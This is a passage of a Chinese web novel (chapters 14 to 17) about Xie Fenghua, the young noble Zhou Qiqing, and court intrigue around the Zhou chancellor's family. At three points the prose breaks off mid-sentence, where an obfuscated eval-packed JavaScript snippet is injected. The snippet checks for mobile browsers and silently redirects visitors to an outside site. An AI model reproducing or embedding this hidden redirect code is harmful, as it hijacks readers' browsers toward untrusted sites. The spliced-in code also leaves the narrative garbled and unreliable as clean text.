身上青衫未换，随着微风徐徐浮动，许是方才跑动，墨发略显散乱。 他胸膛剧烈起伏，唇绷得死紧。 “地下凉。”周其卿小声道。 地下确实凉，凉得手脚失温，凉得冷汗钻出肌肤，浸湿了里衣。 谢逢华收回目光，仰头望着天上的弯月发愣。 周其卿下了层台阶，一撩长衫，也随着她那副模样，席地而坐。 “他们说了什么？”周其卿问道。 “你为什么要去那种地方？”谢逢华亦问。 周其卿烦恼她的答非所问，念在她帮了自己，也只好压下不满，半真半假道：“他们都能去，为何我去不得？” “普通百姓尚能凭自己的努力考功名当大官，你为何荒废学业安于享乐？”谢逢华喃喃道，“你生了个好人家，知道无论你做什么自由人帮你打点一切，只是……谁又能说得准命数呢。” 明明每个字都能听懂，可从她口中连成一句话后，周其卿便又听不懂了。 周其卿听出她心中有怨，却不知这怨从何而来，又是如何于他扯上关系的。 周其卿憋了半天，搜肠刮肚，最后不痛不痒地反驳了一句：“谢逢华，你不识好人心。” “嗯，你就当我是吧。”谢逢华叹气，“今日有些乏了，民女先回去了，周世子自便吧。” 说罢，谢逢华起身，解下披风，叠好放在他腿上，道了声谢，转身迈进了太学的红门。 这……这就走了？ 谢逢华的心事写在面上，藏在心里，却连一句真话都不愿分他半息。 这几日被她的温柔迷了眼，晕了心，周其卿险些忘了，她本就是个满口谎言且善变的骗子。 “谢逢华！”周其卿三两步追上她，横臂拦在她身前，“想来就来，想走就走，你把我当什么了？” 小腹隐隐作痛，算算日子，也该到时候了。 腰酸腿痛，头涨得似是灌了水，沉甸甸的，压得心情也坠到低谷。 谢逢华全无心思与他争执，绕开他想走，反被他抓住手腕。 周其卿愤然道：“谢逢华，我连与你说话的权利都没有吗？” 稚嫩的少年藏不住心事，稍一引诱，便将心思表露于外。 他每日天不亮就起床练骑射，能拉动三石的弓，臂力惊人，手上力气更是毫不逊色。 素日他清醒，纵使越界，手上拿着分寸，倒也没什么感觉。 今夜他饮了些酒水，正是酒力上头时，自然也没了轻重。 谢逢华抬了抬眼皮，没什么情绪，“放手。” “……不放。” 不知何时，他双颊染上一层不正常的绯红，凑近些，还能嗅到美酒的清甜。 “喝了多少？”谢逢华抬手抵住靠近的胸膛。 周其卿想了想，伸手比出三的手势。 “三两？” “三壶。” “……” 周其卿酒量中上乘，尚能直挺挺站在她面前已是不易，谢逢华也不强求，反手拽住他的袖口，无奈道：“周其卿，你醉了。” “嗯。”周其卿低头，将衣袖上的手摘下，放在手心中，双掌合拢，她的手就这么完完全全捂在了他的掌心中。 “你的手，很凉。” 周其卿念叨着，身体诚实地迈前一步。 谢逢华站在原地，没动，却也没做出任何反应。 她的沉默似是默许，周其卿眼底划过一丝欣喜，欲再进一步，一声厉喝先一步打破了暧昧不明的气氛。 “你们在做什么？” 看到来人，谢逢华亦是一惊，忙甩开他的手，负手而立，摆出一副无辜纯良的姿态，乖乖唤道：“兄长。” 谢怀世简直要被气疯了。 今日突然收到明玥的家书，说明御史也就是他的老丈人病逝，她身为长女，需留在府中处理丧事，过些时日才能回家。 明玥不知从哪里得知小妹得罪容舟的事，在信中让他安心讲学，家中自有人打理。 临近休沐，谢怀世打算带谢逢华离开太学。 今日出门会友，一来是与友人寒暄，二来希望通过友人，为谢逢华寻个出路。 越是临近宫城，机遇越多，每个人都想往上爬，都想做官发财，人心也在利益中扭曲恶化，近在眼前的机遇反而成了催命符。 连久经人世的谢怀世尚应付不来，更何况毫无心计的谢逢华？ 他只有谢逢华这一个妹妹了，谢怀世宁愿一辈子做一个教书先生，也不愿用亲人的命换取渺茫无知的官途。 谢怀世想了一路，一路反反复复盘算着未来，生怕一个不慎，落得个人财两空的下场。 好不容易熬到太学门外，谁曾想，一抬眼，便撞见华京纨绔捧着自家小妹的手嘘寒问暖。 积攒了一天的怨念再也克制不住，冲断了提防，熊熊火焰叫嚣着，吞噬了最后的理智。 谢怀世上前，一把将谢逢华拽至身后。 他的目光化作一柄长剑，冰冷刺入骨肉，热血泵涌而出，唯剩一具冷冰冰的、毫无生机的躯壳。 周其卿瞬间酒醒，空荡荡的掌心还残存着零星的湿热，风一吹，也就什么都握不住了。 “谢……谢学正。”周其卿莫名有种被捉奸在床的心虚感，两股战战，连拱起的手都止不住颤抖。 谢怀世道：“我问你，你们在做什么？” 谢怀世拦在身前，谢逢华看不到周其卿的神情，强烈的不安驱使着她做些什么，可面前人是兄长而非常人，她那些心思又怎能骗得过他？ 事已至此，唯有以不变应万变。 “周世子，我家小妹尚未婚配，清白在身，请您自重。” 谢怀世耐心耗尽，拽着谢逢华，绕开周其卿，大步朝着廨舍走去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533610|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢逢华踉踉跄跄跟在他身后，跨过门槛时，还是忍不住回头。 周其卿手足无措，放下也不是，抬起也不是，欲盖弥彰般藏于袖中。 像是有所觉察，周其卿侧目望来。 视线相汇，她瞧出他的不甘，他窥见她眼底的担忧。 仅仅刹那，谢逢华收回视线，低头，快步追上谢怀世。 谢怀世将她领到所居廨舍，打了盆温水，抓起谢逢华的两只手，不由分说往水里按。 像沾染什么脏东西似的，即便这样仍是不够，谢怀世翻出皂荚，沾着帕子狠狠搓洗着。 盆中水浪翻搅，溅出的水花打湿了二人的衣衫，谢怀世视而不见，力度不减，似要生生搓下她的皮肉才肯罢休。 谢逢华蹙眉，忍不住呼痛：“兄……” 谢怀世重重将帕子往盆里一丢，气喘吁吁道：“你说，是不是他要挟你？” 谢逢华将红白相间的手从盆里取出，又取了块干净的帕子裹好，轻声道：“没有。” “你可知他是什么人？”谢怀世一向坦然自若的面容裂出绝望的神情，“你以为被他瞧上是天大的恩赐吗？周家何等高门，心高气傲，连同僚都容不得，岂能容得下我们这种布衣百姓？” “何况他尚未及冠，心性不定，最是易变。谢逢华，他不懂事，你也不懂吗？” 谢逢华咬唇，手指撕扯着绣帕，沉默着一言不发。 舍内寂静，谢逢华听到自己喉间心跳，听见谢怀世无奈叹息。 唯独听不清那句自言自语的：“连你也不信我吗？” “明日我就向容祭酒呈递辞呈。”默了半晌，谢怀世让了步，“今夜你好好休息，后日我们便启程回家。” 谢逢华不知道自己是如何走出廨舍的，待回过神时，她已经坐在山水湖畔。 湖面如镜，澄澈无波。 谢逢华随手拾起一枚石子，狠狠扔向湖中央。 扑通。 石子惊起一圈圈涟漪，来不及接近湖岸便没了声息。 真的……到此为止了吗？ 翌日，谢逢华难得睡到日上三竿，醒来时，头重脚轻，伤筋动骨似的酸痛迫使她又躺回榻上。 谢逢华探了探额头，果真有些灼手。 这个时辰谢怀世许是在忙，谢逢华躺了一会儿，头疼如针扎，实在忍无可忍了，撑着身子下床。 冷水泼面，暂时恢复了几分精神。 谢逢华按了按太阳穴，深呼吸换了几口气，回屋简单拾掇后，系上荷包便出了门。 半个时辰后，谢逢华坐在医馆的座椅上，抱着药包，看着对面人付了药钱，心虚地低下了头。 温手覆上滚烫的额头，惊得谢逢华汗毛倒立，下意识向后躲闪。 容舟收手，神色如常：“谢怀世知晓你病了吗？” 谢逢华摇头，把自己晃得脑袋嗡嗡响，“小病而已，犯不上兄长操心。” “只是容祭酒怎么会来这里？您也病了吗？” “没病，病的不是我。”容舟道，“今日去看望友人，路上看见你了，跟过来瞧瞧。” “……” 想到有人悄无声息尾随一路，谢逢华后脊一阵发寒。 15. 第 15 章 谢逢华本意借口告辞，哪成想容舟提出与她同行，理由是“不放心”。 于是谢逢华被请上马车。 若非车窗太过窄小，谢逢华恨不能掀开帘子直接跳出去。 余光瞥见正襟危坐闭目养神的容舟，谢逢华无声抱紧药包，嗅着草药苦香，也慢慢安下心来。 悄悄掀起帘子一角，谢逢华探着脑袋朝外张望。 这好像……不是回太学的路。 “今年多大了？”容舟冷不防出声。 谢逢华手一抖，端正坐好，“过了生辰便二十了。” “何日的生辰？” “十月初六。” “快了。” 话落，马车也随之停下。 容舟睁眼，离座下车。 谢逢华紧跟其后，钻出车厢时，下意识朝旁边看去。 只见“明府”二字明晃晃悬在府门正中，红匾白绫，格外刺眼。 明府出事了？ 嫂嫂是不是也在…… “瞧什么呢？” 容舟站在车厢旁，忙不迭正了衣衫，朝她伸出手，“扶着我。” 谢逢华踏下马凳，也学着容舟的模样抚平衣领，摸了摸有些呲毛的发髻，没由得心虚紧张。 若知今日随容舟拜客，谢逢华必然施了妆粉才会出门。 “容大人。” 沉稳男声自前方传来，二人双双望去，一公子跨过门槛，径直朝她们走来。 看清来人，谢逢华心中大骇，不动声色地往容舟身后藏了藏。 容舟欲开口，那人却已经站定在她一步远的地方，作揖道：“容大人来得正是时候，长姐正要派人去请您吃茶，前脚刚提了，后脚您就到门口了。” 容舟了然，“她在哪儿？” “长姐在书房备了好茶，我带您过去。” “不必。” 容舟侧身，将一直躲在身后的谢逢华推到前面：“这位是我太学的学官，初来乍到，还请公子帮忙安置歇歇脚。” 容舟又对低着头装鹌鹑的谢逢华道：“谢娘子，这位是明府三公子明玹。” 察觉到落在头顶的探究的目光，谢逢华头皮发麻，闷闷唤了声：“见过明公子。” 明玹意识到什么，面色冷了下来，没理会她的交好，对身旁侍从道：“你带谢娘子去堂屋歇着，我稍后便至。” 谢逢华本无意与他正面相碰，只是此人态度轻蔑，一如当日对嫂嫂般无礼，惹得人好不气恼。 明玹未曾正眼瞧她一眼，谢逢华也不屑于与这等目中无人之辈斤斤计较。 谢逢华压下火气，跟着侍卫离开了。 “你们认识？” 待她走远了，容舟才开口询问。 明玹不轻不重地“哼”了声：“平平无奇，不足挂念。” 容舟道：“明公子与谢姑娘有过节？” “没有。” “既无过节，又何必对谢姑娘评头论足？若让旁人听了去，定要戳你们明家的脊梁骨，骂你们欺凌弱小，到时候丢的可不止是你长姐的面子。” 明玹一时哑口无言，目送容舟拂袖而去。 另一边，府中上下皆裹素，森冷的风一吹，谢逢华冷不防打了个寒颤。 四肢忽冷忽热，实在难耐，谢逢华只得拦住欲离开的侍从，拜托他帮忙煎药。 侍从见她面颊通红，吓了一跳，扶着她坐在座椅上，生怕她死在府中似的，又马不停蹄地赶去煎药。 目睹侍从消失在视野里，谢逢华轻轻呼出一口浊气，扶着滚烫的额头，闭目养神，调整呼吸，企图缓解生病所带来的不适。 谢逢华撑桌起身，踉跄朝外走去。 “你来了。” 明玥一改往日素净妆调，墨服裹身，手下一盏清茶薄香。 容舟尚未落座，茶水已至身前。 “脸色这么差，阿玹又惹你生气了？” “不过是没长大的雏鹰，有些傲气罢了。”容舟拉过椅子坐下，端起茶盏，拾起茶盖撇去浮沫，“近日周府盯得紧，怕是上次打草惊了蛇。” 明玥抿了口热茶，轻笑：“周惕守果真在意这位世子。” “与其说在意周世子，倒不如说更在意周世子的生母容夫人。” 不知想到什么，容舟面露哀色：“姐姐一向身子不好，膝下这一个周世子就要了她半条命去，这些年尽心尽力操持周家，到头来连枕边人都在算计她……” 握着茶盏的手指隐隐泛出苍白的骨色，容舟垂眸，茶水澄澈又浑浊，映不透人心。 明玥叹道：“谁能想到当初籍籍无名的书生会成为权倾朝野的周宰相，就连当今圣上亦畏惧他三分。” “男子变心如翻书，借着姐姐的权爬上高台，转身就娶了几房美妾，他儿女承欢时，可曾想过被独守空房十余年的发妻？” “卿儿初入太学时，姐姐千叮咛万嘱咐让我教导他，她不愿看到自己的儿子踏入父亲的后尘，只是……” 容舟忽而低下声，喃喃道：“我还是让她失望了。” “阿舟。”一只手扶上她的手腕，稳稳托举着她即将落下的茶盏。 抬眸，明玥的目光温柔而坚定：“你没有错，江山易改禀性难移，你尽了力，其余的就交给命数吧。” 容舟欲言，忽而小厮来报，说有贵客登门。 如今丧期未满，按规制，府中暂不见宾客。 何况明御史生前挚友不多，处处树敌，哪里还有人在这个节骨眼上冒着得罪周家的风险登门拜访？ 明玥疑惑走出堂，看到院中伫立的一长一少，下意识想阻拦容舟出来，却为时已晚。 “明夫人，许久不见。” 周府二夫人欠身施礼，淡色长衫在黑白肃穆间流淌，笑靥如花。 高傲的姿态，与其说是登门拜访，倒不如说是途径明府顺便看望她们。 容舟垮下脸，草草回了一礼。 周其卿拱手作揖，问了句好。 这边话说不上几句，反被不相干的人扰了兴致。 容舟正欲告辞，二夫人像是看透了她的厌烦，微微一笑，道：“今日正要去寻容大人，容大人既然在这里，我也省的再跑一趟。” 容舟皮笑肉不笑：“夫人寻我有何事？” 二夫人轻咳一声，周其卿会意，奉上事先备好的请帖。 二夫人扶了扶鬓边发簪，道：“再过几日便是大夫人的生辰，大夫人欲从简操办，老爷怕太过酸寒惹人非议，让多请些人，好好热闹热闹。这不，让我来问问二位贵客，愿不愿意赏脸赴宴。” 闻言，周其卿侧目，眉心微隆，张口又闭口，最后反而说不出什么话来，只得别过脸去，置若罔闻。 明玥站出来打圆场：“既是大夫人相邀，便没有不去的道理。二夫人既然来了，不如进来坐坐？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533611|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>二夫人没有拒绝，倒是一旁的周其卿面露难色，借口身子不适，没有跟随前往。 容舟遥遥看了他一眼，转身跟着明玥进了书房。 离了长辈看管，周其卿得以松口气。 虽不知二夫人为何执意跟来，但年纪相仿的女子间总有话题可聊，周其卿也无意掺和。 “世子爷。” 听闻熟悉的声音，周其卿望向来人，拱手道：“明兄。” 明玹回了礼，道：“策试临近，世子怎还有闲心来府中做客？” “明兄又在打趣弟弟了，”周其卿无奈，调开了话头，“上次我来时明伯伯不是还好好的吗？怎么突然就……” “说起这个，我也觉得奇怪。” 明玹四下探望，扶上周其卿的肩膀，低声道：“御医说父亲气急攻心导致惊厥，按道理调养几日亦无大碍，可这病始终不见好，长姐回来，伺候了没两日人就……” “我派仵作暗中查验父亲尸身，发现父亲死状与中毒无异。” 周其卿原本听着只当消遣，可经明玹一说，后脊陡然攀上寒冷。 “你是说，明夫人——” “三公子！” 一声猝然的呼喊，二人陡然一激灵。 一个小厮急匆匆跑来，上气不接下气道：“三公子可曾看见与容大人同行的小娘子？” “谢娘子？”明玹蹙眉，“她又怎么了？” 周其卿抚胸口的手僵在胸膛。 小厮入府没两年，瞧着年纪不大，丢了贵客无疑是闯了大祸，一时间汗如雨下，“谢娘子身子不适，着小的煎药，可小的回去，谢娘子竟不见了踪影……这，这如何是好？” 隔着厚厚的衣料，一瞬间，竟突然摸不到血肉里的心跳。 “谢娘子？”周其卿道，“与容大人一同前来的谢娘子，可是着素衣木钗，说话笑里藏刀的谢娘子？” 明玹讶异：“你认得？” 周其卿颔首，并未多言，转而问小厮：“她最后去了哪里？” “似乎……” 似乎走错路了。 望着前方不知通往哪家厢房的石径，谢逢华重重咳嗽两声。 本想出来寻嫂嫂，没想到这明府堪比太学的一半之大，才走了几步路就不知绕到哪条小径。 天色阴沉，空气潮湿憋闷，飞虫嗡鸣声不止。 奇怪的是，一路走来，偌大的庭院居然连个下人都没有。 虽说明府中落，可远不至于沦落到无人侍奉的地步。 谢逢华走了几圈，昏昏沉沉，越发有气无力，最后绕来绕去，走得四肢酸痛，眼前黑白交闪，仍未走出四方天地，也只得作罢。 呼吸间尽是血腥气，谢逢华蹲在地上，眼前景物扭曲变化，一会儿雾气蒙蒙，看不清轮廓；一会儿晴空万里，刺得眼睛灼热疼痛。 好像做梦一般，所见所感极不真实。 昏沉间，耳畔蓦然涌入喧哗。 似有什么东西覆上额头，温凉如玉，瞬间心安。 谢逢华想睁开眼，可眼皮像是抹了层浆糊，怎么也撑不开。 “谢逢华……” 这声音，好熟悉。 谢逢华迷迷糊糊地想着，借着手上力气，努力撑起眼皮，抬头想看清来人模样。 这一动，滚烫的脸颊主动撞入他的掌心中。 刹那间，像是点了穴，周其卿一动也不敢动。 16. 第 16 章 再醒来时，屋内烛火通明。 窗外一轮明月高悬，月色倾泄，落在床榻边绣花的明玥身上。 谢逢华使不上力气，用尽了气力，才从干涩的喉间挤出一丝气音：“嫂嫂。” “哎，醒了？”明玥放下手中物什，端起事先准备好的汤药，“来，把药喝了。” 谢逢华端着药碗，捏着鼻子灌入腹中，才喘过来气，明玥眼疾手快朝她口中塞了块饴糖。 甘甜冲淡舌尖苦，谢逢华环顾四周，道：“我怎么了？” “下人说你不见了，为了找你我差点将明府翻个底朝天，还是周世子在后院花丛里找到了昏迷不醒的你。”明玥探了探她的额头，“那场雨伤了根本，如今你这身子呀，沾不得一点风雨。” “周世子……周其卿？”谢逢华咬碎糖块，滚在齿间细细研磨，“他在哪儿？” “将你安置好后便随阿舟回太学了。”明玥戳了戳她的额头，嗔怪道，“你啊，病了还到处乱跑，若你在明府出了差池，我该如何向你兄长交代？” 谢逢华捂着额头，委屈道：“兄长一心忙着那些太学学子，哪里还顾得上我这个妹妹，现在估计想着怎么把我送回家嫁人呢。” “谁说要把你送回家嫁人了？”伴随男子的怨念，谢怀世阴恻恻飘到床榻边。 好不容易挤出眼眶的眼泪瞬间收了回去。 谢逢华讪笑：“好巧，兄长也是来找嫂嫂的吗？” 谢怀世：“……” 于是在明玥幸灾乐祸的目光中，谢逢华头裹被挨了半个时辰的骂，直到最后谢怀世念累了，才敢扒开棉被漏出半张脸，怯怯道：“所以容祭酒并不知你就是嫂嫂的夫婿？” 明玥点头：“是啊，整个明府，知晓济民的也不过三五人。” 提及自己，谢怀世颇有微词：“当年我们身份悬殊，我与月儿站在一起，旁人只当是哪家千金带了个小厮，我哪里再好意思辱没明小姐的清白。” 谢逢华没忍住，“噗嗤”笑出了声。 明玥反手将手中绣绷照着谢怀世的脸面扔去，“好你个谢怀世，难怪你迟迟不提亲，原来是本小姐损了你的面子？” 一听这话，谢怀世连滚带爬从一旁飞来，捧着绣绷，讨好般往明玥身上蹭，口中含含糊糊念叨着什么，瘆人的很。 谢逢华哪里见过他这副小鸟依人的模样，直惊起一身鸡皮疙瘩。 “正经些，应时还在这里。”明玥轻咳一声，推开了他。 谢逢华赞成地点点头，遭到谢怀世亲切的目光问候后，默默用棉被蒙住眼睛。 谢怀世倒上一杯热茶，道：“我已向容祭酒递了辞呈，再过两日便带着应时回乡。” “也好。”明玥接过茶水，似想到什么，忽然指示谢怀世关窗锁门。 谢怀世不解但照做。 屋内寂静时，忽然传来明玥一声叹息。 “阿舟与我说，今日圣上又没来上早朝，曾经那些参宰相的折子，全被周惕守拾了来，当朝诵读，读一本，拖出去一个文官罚廷杖，什么时候念完，什么时候这刑才算受完。” “据说有位年轻的官员折子写的太长，那太监念的慢，竟当朝被活活打死，实在骇人。”明玥抚着胸口，心有余悸，“还好阿舟谨慎，未随他们一同上书，这才逃过一劫。” 谢怀世道：“当朝打死官员，圣上竟不理不问吗？” 明玥道：“理了如何，问了又如何？周大夫人是圣上的亲姐姐，周惕守便是圣上的姐夫，当年圣上靠周惕守才得以在血海厮杀中站稳脚跟，于恩于亲，圣上如何能插手？” 谢逢华忽而想起酒楼那日，倘若那时容舟没有顾虑地跨入门内，谢逢华也不会如此顺利地帮助周其卿“逃过一劫”。 明玥揉了揉眉心，道：“前些时日有人用周世子大做文章，谁料当夜便暴毙身亡，从朝堂到街边巷尾，谁还敢再说周家一句不是？” 想必容舟那时的顾虑，便是周惕守的权势吧。 “今日朝堂上唱了一出杀鸡儆猴，下了朝周家就派人请我们赴宴，若只是生辰宴还好，只怕……” “别多想。”谢怀世倾身将明玥揽入怀中，柔声安抚道，“容祭酒是周大夫人的亲姊妹，就算周惕守真要对她下手，也该顾着大夫人的面子，只怕是醉翁之意不在酒，他真正想除掉的人，恐怕不是——” 谢逢华探出头，道：“嫂嫂，你也要去吗？” 明玥的目光在她苍白的面容上徘徊，片刻又移开，嘴角牵出一抹弧度：“应时，我让你随着你兄长归家，你愿意吗？” 谢逢华觑了眼一旁倒水的谢怀世，一言不发。 “时候不早了，早些歇息吧。”像是预料之中，谢怀世面无波澜，“这几日你且在这里歇着，待我处理完太学事宜就带你回去。” 明玥暗中拽了拽他的衣袖，谢怀世抿了抿唇，没再说话。 休养这几日，明府卸下灵幔，明府人脱下孝服，各司其职，安养生息。 明玹抱臂，冷冷看着谢逢华从卧房出来，对上谢逢华疑惑的视线，冷嗤一声，绕过她，推门而入。 一连几日皆是如此，谢逢华多在明玥房中逗留一盏茶的功夫，明玹必定前来叩门，然后随便找个理由将她支走。 起初谢逢华并未觉察，只当明府多事，后来三番五次皆是如此，谢逢华摸出些异样，在明玹从房内出来时，横臂拦在他身前。 “你们今日聊了什么？”谢逢华开门见山。 明玹睨她：“我明府公事，与你一外人何干？” 谢逢华：“吃茶送饭也算明府公事吗？” 明玹拂袖：“谢小娘子也学周世子蹲墙角偷听吗？” 有时候谢逢华觉得这人说话真的很难听。 就事论事，凭什么把她和周其卿相提并论？ 谢逢华道：“周世子做事光明磊落，哪里像你，拈酸吃醋，只敢背地里使绊子。” “我拈酸吃醋？”明玹几乎是不可置信地将她的话念了两遍，又像是有气没处发，拳头握紧又松。 “明玥是我亲姐姐，是明府的当家家主，生是明家的人死是明家的鬼，我们一脉相承，倒是你，若非你那废物兄长骗走了阿姊，你以为你能在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533612|186445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明府白吃白喝白住这么多天？” 说罢，不知是怕旁人围观还是怕屋内人听见，明玹忽而俯身贴近她的耳畔，压低嗓音，一字一顿道：“我不知你用什么法子勾得周世子日日挂念，但看在阿姊的面上，我留你一命，但我劝你一句，迈进明府的门只需一脚，可若想入周家做世子妃，早点洗洗睡罢。” “你——” “应时？”屋内传来明玥呼唤，“既然没走就进来罢。” 临到嘴边的话生生咽回腹中。 谢逢华狠狠剜了他一眼，抬脚跨入门内。 “你们在外吵什么？”明玥翻阅着账本，头也不抬。 谢逢华蔫蔫趴在桌上，脸颊被桌案推出一顶小山丘，“没什么。” 明玥笑了笑，抬手捏捏她的脸颊肉，“我可从未听过阿玹用这么大声音与人交谈。” “没礼貌的家伙。”谢逢华嘟哝，翻了个面，面朝明玥道，“嫂嫂，上回周世子走前，可有说什么话？” 明玥挽起长袖，闻言稍加思索，道：“他将你抱回房，说要派人请宫中御医为你诊治，阿舟说你来时已瞧过大夫，按时用药即可，周世子不听，执意派人去请。” 宫中御医为她一介平民百姓诊治风寒，未免太过大材小用了。 这要是传出去，史书上多少得记一笔“谢氏女柔弱骄纵，用度无制”之类的判词。 谢逢华满脸痛苦地堵住了耳朵。 明玥拉下她盖着耳朵的手，“府中自有府医诊治，医术不比宫里的差，何况周世子从不记人，就算从街边拉个乞丐，换身行头，也足够以假乱真。” 谢逢华松了口气，默默竖起大拇指，“嫂嫂高明。” 明玥笑而不语，将砚台和墨块推至她眼前，“既然无事，便帮嫂嫂研墨。” 谢逢华应声。 二人闲谈着，不知为何，竟又聊到那日光景。 先前那些点点滴滴，愉快的，不愉快的，都被谢逢华倒豆子似的一股脑吐了出来。 明玥只手撑腮，若有所思：“虽说你们先前有过节，就事论事，他亦帮了你，你总该向人表达感谢不是？” 话是这么说。 可万事开头难，中途难，结局难。 让谢逢华向讨厌的毛头小子低头，更是难上加难。 何况分明是周其卿有错在先。 指尖拨弄着算盘的算珠，谢逢华只想让算盘狠狠敲打她的脑壳，好让她从这场浑局中清醒过来。 “我……”谢逢华实在遭不住明玥无声的施压，硬着头皮开口，“周世子锦衣玉食，寻常谢礼入不了台面。” 明玥道：“礼虽轻，情意却重。送礼不一定非让周世子接受，只是告知旁人，你知礼数，知恩图报，是做给外面看的。至于世子接不接受，那就是他的选择。” 谢逢华一知半解，懵懵懂懂地点了点头：“我回头想想。” “择日不如撞日，”明玥咧嘴一笑，“过两日周大夫人的生辰宴，你随我同去。” 谢逢华：“？” 等等。 她好像中计了。 17. 第 17 章 周其卿压根没想过会在母亲的生辰宴上遇见谢逢华。 在他的印象里，谢逢华孤僻喜静，关系简单，按道理不该与这场鸿门宴又任何交际。 偏偏她来了。 褪下素雅的长衫，鹅黄短衫轻快灵动，软缎在灯火交错间流光四溢，映在暗色长裙之上，柔和绯色妆容，在欢快之余又不失沉稳。 谢逢华远远站在那里，眼底碎光逡巡，好奇地探究着周围。 周其卿动了动喉头，迈步下了一阶，脑海中却蓦然浮现谢怀世警告的话语。 嘭！ 随着爆竹一声响，那一点欣悦彻底化为灰烬，悄无声息湮没于人声鼎沸之中。 周其卿收回脚，整理衣衫，注视着谢逢华一步步走近，直到在两步远的地方站定。 与她同行的明娘子朝周夫人施礼，互道安康。 谢逢华也学着明娘子的模样，欠身施礼：“夫人金安，祝您松鹤长康。” 周夫人迟疑：“这位是？” “是我家小妹。”明玥看向周其卿，浅笑道，“世子殿下，上次幸得有您帮衬，小妹还说要请您来，当面把谢礼送您呢。” 周其卿眸光微动，下意识看向谢逢华。 显然没料到明玥如此直言不讳，谢逢华慌乱避开他的视线，拽了拽明玥衣袖，脂粉更显三分真色，“嫂嫂！” “瞧这孩子还害羞了。”明玥调侃着，对还在发懵的周夫人道，“容大人公务缠身，怕是晚些时候才到，托我捎句话，让周夫人安心。” 提及容舟，周夫人面色稍缓，喃喃嘟哝了句“那就好”，便招呼管家领路待客。 谢逢华微微低头，紧跟明玥往府内进。 与周家母子擦身而过的瞬间，一阵似有若无的清风擦过手背，转瞬即逝。 谢逢华顿了顿脚步，抬眸，周其卿已别过面去，面上挂着假笑，热情地与素不相识的宾客问好。 奇怪，他方才是站在这里吗？ 谢逢华甩了甩头，快步追上明玥的步调。 听闻周夫人身子不大康健，按道理不应在门外候客。 可不知怎么，今夜周夫人在门口一等便是一个时辰，明玥领着谢逢华逛了一圈园林回来，主座仍不见周夫人的身影。 “容大人会来吗？”谢逢华小声询问。 明玥轻摇罗扇，笑而不语。 宴会邀请的皆是官家女子，有携女眷结交人脉的，有只身前来玩乐的，绝大多数都是周夫人的近交。 不少宾客认出明玥，纷纷上前与之攀谈，明玥也一一笑应了，问道夫君家世，也只含糊其辞。 罗裙绮带，头顶金钗珠宝的富贵人们高傲地挺起脊梁，芊芊玉指捻的是丝绸罗缎，话语言谈讲的是谢逢华听不懂的官场事。 某一刻，肩上格外沉重，压得她直不起脊梁。 “文锦苑新招揽了一批织娘，改日明娘子得空，不如随我去瞧瞧，顺便指点一二。” “崔夫人相邀，哪还有拒绝的机会？”明玥转头，罗扇扑向门口，“哎，夫人来了。” 周夫人随侍女踏入门内，环顾四周，眼底的失落一闪而过，不过须臾，抬眼恢复了往昔的端庄沉稳，“今日且当家宴，大家尽管吃好喝好。” 趁着旁人献礼的空隙，谢逢华探头朝门外张望，转而凑近明玥耳畔，嘀咕道：“嫂嫂，容大人似乎失约了。” 明玥抿了口酒，“她想来也得来，不想来也得来。” 谢逢华怔愣，正琢磨这话用意，便听尖细的嗓音自堂外传来：“圣旨到——” 一时间群起惊变，纷纷离座走出正堂。 院中，容舟与周惕守身着官袍，身后三两侍从抬一箱，浩浩荡荡的人几乎占据了大半院落。 身侧，一内侍手持拂尘，脸上肉几乎堆在一起，只留下两条黑黝黝的缝隙窥探着众人。 周惕守上前牵起周夫人的手，“夫人，生辰吉乐。” 周夫人张了张口，宛若少女般娇怯，“老爷挂心了。” 容舟依旧挂着往日的疏离，只是紧绷的唇角还是出卖了她内心的不悦。 容舟看向为首的周夫人，像是做出什么决定，侧步面朝那内侍，作揖行礼。 内侍颔首，一甩衣袖，那金灿灿的圣旨在众人面前平铺开来。 “奉天承运皇帝，诏曰——” 这还是谢逢华第一次见到圣旨是什么模样。 谢逢华藏在人群中，一连串歌功颂德后，是数不清的首饰珠宝，金银财宝不要命似的往堂内塞。 起初谢逢华还努力辨认所谓的“红凤衔翘”“雪融青莲”是何种稀世珍宝，可那些物什一个接一个，听得耳朵都磨出茧，连眼睛都晃得生疼。 谢逢华闭了闭眼，觉得还是田地里的豆苗和野草更容易分辨些。 “殿下，周大人，小的就先回宫复命了。” 周惕守颔首：“有劳曹公公了。” 那内侍又说了几句吉祥话，便浩浩荡荡地离开了周府。 谢逢华揉着酸疼的双膝，被明玥搀扶着站起，听明玥低声道：“居然专程入宫请旨贺寿，周惕守好算计啊。” 算计？ 谢逢华循着她的视线望去。 周夫人被周惕守揽在怀中，享受着宾客们铺天盖地的称赞，她抬眼看向周惕守。 